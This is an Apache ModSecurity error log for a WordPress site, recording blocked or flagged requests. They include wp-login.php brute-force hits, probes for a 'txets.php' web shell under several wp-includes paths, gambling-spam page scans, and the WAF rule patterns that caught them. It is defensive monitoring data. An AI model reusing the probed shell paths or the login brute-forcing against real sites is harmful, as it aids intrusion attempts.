[Mon Feb 23 23:49:54.195217 2026] [:error] [pid 25294:tid 25364] [client 203.2.64.59:60483] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZx3IiRCFB3CqIo_jfYERAAAAE8"]
[Mon Feb 23 23:50:24.462003 2026] [:error] [pid 39640:tid 39687] [client 85.198.81.67:42958] [client 85.198.81.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.198.81.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZx3QNsK--eVCgzvvuf4PgAAApE"]
[Mon Feb 23 23:56:58.207497 2026] [:error] [pid 39639:tid 39650] [client 159.223.103.141:52058] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.103.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZx4yhpFkMoMi8uTUUMerQAAAkc"]
[Tue Feb 24 00:46:06.318021 2026] [:error] [pid 60063:tid 60080] [client 159.223.226.118:49878] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.226.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZyETk_6t1uQomVVdUND5wAAAQ8"]
[Tue Feb 24 02:23:20.849278 2026] [:error] [pid 60063:tid 60068] [client 78.47.142.186:55306] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.47.142.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZybGE_6t1uQomVVdUN75AAAAQM"]
[Tue Feb 24 02:45:35.443086 2026] [:error] [pid 29290:tid 29375] [client 2.58.56.178:55323] [client 2.58.56.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aZygTyURJ6Xg7pEW8XYonQAAAFE"]
[Tue Feb 24 02:45:35.947458 2026] [:error] [pid 29289:tid 29316] [client 2.58.56.178:58350] [client 2.58.56.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aZygT_SAX3I9FAhm7jnRPQAAABc"]
[Tue Feb 24 02:45:36.455291 2026] [:error] [pid 60063:tid 60085] [client 2.58.56.178:58134] [client 2.58.56.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aZygUE_6t1uQomVVdUOJ8wAAARQ"]
[Tue Feb 24 02:45:39.050661 2026] [:error] [pid 29290:tid 29357] [client 2.58.56.178:57729] [client 2.58.56.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aZygUyURJ6Xg7pEW8XYoogAAAEE"]
[Tue Feb 24 03:24:27.913477 2026] [:error] [pid 60063:tid 60073] [client 61.244.204.54:49656] [client 61.244.204.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 61.244.204.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZypa0_6t1uQomVVdUOgowAAAQg"]
[Tue Feb 24 04:02:57.156350 2026] [:error] [pid 37644:tid 37669] [client 49.51.180.2:53152] [client 49.51.180.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZyycULaEhVDwBRydH0GvQAAANc"]
[Tue Feb 24 05:10:02.178359 2026] [:error] [pid 37540:tid 37612] [client 167.99.185.123:43658] [client 167.99.185.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.185.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZzCKiahRAUBJS8hpJVVAwAAAIo"]
[Tue Feb 24 05:33:46.371518 2026] [:error] [pid 37644:tid 37663] [client 213.202.252.119:59544] [client 213.202.252.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.202.252.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZzHukLaEhVDwBRydH07JQAAANE"]
[Tue Feb 24 06:37:02.971899 2026] [:error] [pid 11672:tid 11694] [client 185.247.118.182:41038] [client 185.247.118.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.247.118.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZzWjva0fhnmfPYq92u0HwAAARQ"]
[Tue Feb 24 07:58:04.705942 2026] [:error] [pid 37644:tid 37651] [client 148.113.5.85:55212] [client 148.113.5.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.5.85, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZzpjELaEhVDwBRydH2DAAAAAMU"]
[Tue Feb 24 08:16:55.597371 2026] [:error] [pid 37644:tid 37667] [client 43.131.36.84:47214] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZzt90LaEhVDwBRydH2I1wAAANU"]
[Tue Feb 24 08:32:42.978105 2026] [:error] [pid 37540:tid 37607] [client 185.88.197.19:18469] [client 185.88.197.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.88.197.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZzxqiahRAUBJS8hpJWs4gAAAIU"]
[Tue Feb 24 09:59:11.465698 2026] [:error] [pid 41188:tid 41210] [client 217.182.194.3:37544] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ0F7wWRg7szIRhA0WjHcgAAAVM"]
[Tue Feb 24 09:59:13.932095 2026] [:error] [pid 37540:tid 37626] [client 217.182.194.3:35976] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ0F8SahRAUBJS8hpJXFiAAAAJg"]
[Tue Feb 24 09:59:16.335484 2026] [:error] [pid 37539:tid 37592] [client 217.182.194.3:35992] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ0F9HEnr46jUQep9z_8-QAAAFE"]
[Tue Feb 24 09:59:19.147662 2026] [:error] [pid 41188:tid 41211] [client 217.182.194.3:37398] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ0F9wWRg7szIRhA0WjHdwAAAVQ"]
[Tue Feb 24 09:59:21.756272 2026] [:error] [pid 37644:tid 37650] [client 217.182.194.3:37410] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ0F-ULaEhVDwBRydH2ZjAAAAMQ"]
[Tue Feb 24 09:59:24.235751 2026] [:error] [pid 11672:tid 11678] [client 217.182.194.3:37416] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ0F_Pa0fhnmfPYq92vtJQAAAQQ"]
[Tue Feb 24 09:59:27.045083 2026] [:error] [pid 37539:tid 37598] [client 217.182.194.3:37430] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ0F_3Enr46jUQep9z_8_gAAAFc"]
[Tue Feb 24 09:59:29.419023 2026] [:error] [pid 37540:tid 37623] [client 217.182.194.3:54232] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ0GASahRAUBJS8hpJXFlgAAAJU"]
[Tue Feb 24 09:59:31.941334 2026] [:error] [pid 41188:tid 41204] [client 217.182.194.3:54234] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZ0GAwWRg7szIRhA0WjHlQAAAU0"]
[Tue Feb 24 09:59:34.390604 2026] [:error] [pid 41188:tid 41198] [client 217.182.194.3:54242] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZ0GBgWRg7szIRhA0WjHnQAAAUc"]
[Tue Feb 24 09:59:36.955546 2026] [:error] [pid 37539:tid 37587] [client 217.182.194.3:54258] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ0GCHEnr46jUQep9z_9IQAAAEw"]
[Tue Feb 24 09:59:39.428048 2026] [:error] [pid 37644:tid 37669] [client 217.182.194.3:32866] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ0GC0LaEhVDwBRydH2ZmAAAANc"]
[Tue Feb 24 09:59:42.073122 2026] [:error] [pid 11672:tid 11676] [client 217.182.194.3:32868] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ0GDva0fhnmfPYq92vtiAAAAQI"]
[Tue Feb 24 09:59:44.445768 2026] [:error] [pid 41188:tid 41207] [client 217.182.194.3:32876] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ0GEAWRg7szIRhA0WjHvQAAAVA"]
[Tue Feb 24 09:59:46.939110 2026] [:error] [pid 11672:tid 11678] [client 217.182.194.3:32880] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ0GEva0fhnmfPYq92vtigAAAQQ"]
[Tue Feb 24 09:59:49.430298 2026] [:error] [pid 37539:tid 37579] [client 217.182.194.3:47770] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZ0GFXEnr46jUQep9z_9TQAAAEQ"]
[Tue Feb 24 09:59:51.971660 2026] [:error] [pid 11672:tid 11695] [client 217.182.194.3:47772] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ0GF_a0fhnmfPYq92vtlAAAARU"]
[Tue Feb 24 09:59:54.416585 2026] [:error] [pid 37539:tid 37578] [client 217.182.194.3:47774] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ0GGnEnr46jUQep9z_9VQAAAEM"]
[Tue Feb 24 09:59:57.392445 2026] [:error] [pid 37538:tid 37563] [client 217.182.194.3:47776] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZ0GHSynTiHZ9J0Y2naGiQAAAA8"]
[Tue Feb 24 09:59:59.906751 2026] [:error] [pid 37644:tid 37670] [client 217.182.194.3:42834] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZ0GH0LaEhVDwBRydH2ZrQAAANg"]
[Tue Feb 24 10:00:02.332063 2026] [:error] [pid 41188:tid 41200] [client 217.182.194.3:42842] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZ0GIgWRg7szIRhA0WjHywAAAUk"]
[Tue Feb 24 10:00:04.793808 2026] [:error] [pid 37539:tid 37575] [client 217.182.194.3:42848] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZ0GJHEnr46jUQep9z_9XQAAAEA"]
[Tue Feb 24 10:00:50.298429 2026] [:error] [pid 41188:tid 41198] [client 217.182.194.3:42858] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZ0GUgWRg7szIRhA0WjIQwAAAUc"]
[Tue Feb 24 10:00:53.265225 2026] [:error] [pid 41188:tid 41210] [client 217.182.194.3:54486] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ0GVQWRg7szIRhA0WjISwAAAVM"]
[Tue Feb 24 10:00:55.696222 2026] [:error] [pid 41188:tid 41209] [client 217.182.194.3:54492] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ0GVwWRg7szIRhA0WjIUQAAAVI"]
[Tue Feb 24 10:00:58.062763 2026] [:error] [pid 11672:tid 11684] [client 217.182.194.3:54502] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZ0GWva0fhnmfPYq92vt7AAAAQo"]
[Tue Feb 24 10:01:00.666929 2026] [:error] [pid 11672:tid 11697] [client 217.182.194.3:34800] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZ0GXPa0fhnmfPYq92vt7wAAARc"]
[Tue Feb 24 10:01:03.117998 2026] [:error] [pid 37539:tid 37597] [client 217.182.194.3:34812] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZ0GX3Enr46jUQep9z_9dAAAAFY"]
[Tue Feb 24 10:01:05.654205 2026] [:error] [pid 37644:tid 37667] [client 217.182.194.3:34816] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ0GYULaEhVDwBRydH2Z4AAAANU"]
[Tue Feb 24 10:01:08.281317 2026] [:error] [pid 37644:tid 37665] [client 217.182.194.3:34832] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ0GZELaEhVDwBRydH2Z5gAAANM"]
[Tue Feb 24 10:01:10.967220 2026] [:error] [pid 37644:tid 37651] [client 217.182.194.3:34130] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ0GZkLaEhVDwBRydH2Z7QAAAMU"]
[Tue Feb 24 10:01:13.706401 2026] [:error] [pid 37539:tid 37578] [client 217.182.194.3:34136] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZ0GaXEnr46jUQep9z_9ewAAAEM"]
[Tue Feb 24 10:01:16.492347 2026] [:error] [pid 37540:tid 37619] [client 217.182.194.3:34150] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZ0GbCahRAUBJS8hpJXF8gAAAJE"]
[Tue Feb 24 10:01:18.962617 2026] [:error] [pid 41188:tid 41213] [client 217.182.194.3:40786] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ0GbgWRg7szIRhA0WjIfQAAAVY"]
[Tue Feb 24 10:01:21.785001 2026] [:error] [pid 41188:tid 41200] [client 217.182.194.3:40790] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ0GcQWRg7szIRhA0WjIjQAAAUk"]
[Tue Feb 24 10:01:24.157130 2026] [:error] [pid 41188:tid 41215] [client 217.182.194.3:40792] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ0GdAWRg7szIRhA0WjIlAAAAVg"]
[Tue Feb 24 10:01:26.857210 2026] [:error] [pid 37644:tid 37660] [client 217.182.194.3:40808] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ0GdkLaEhVDwBRydH2aBAAAAM4"]
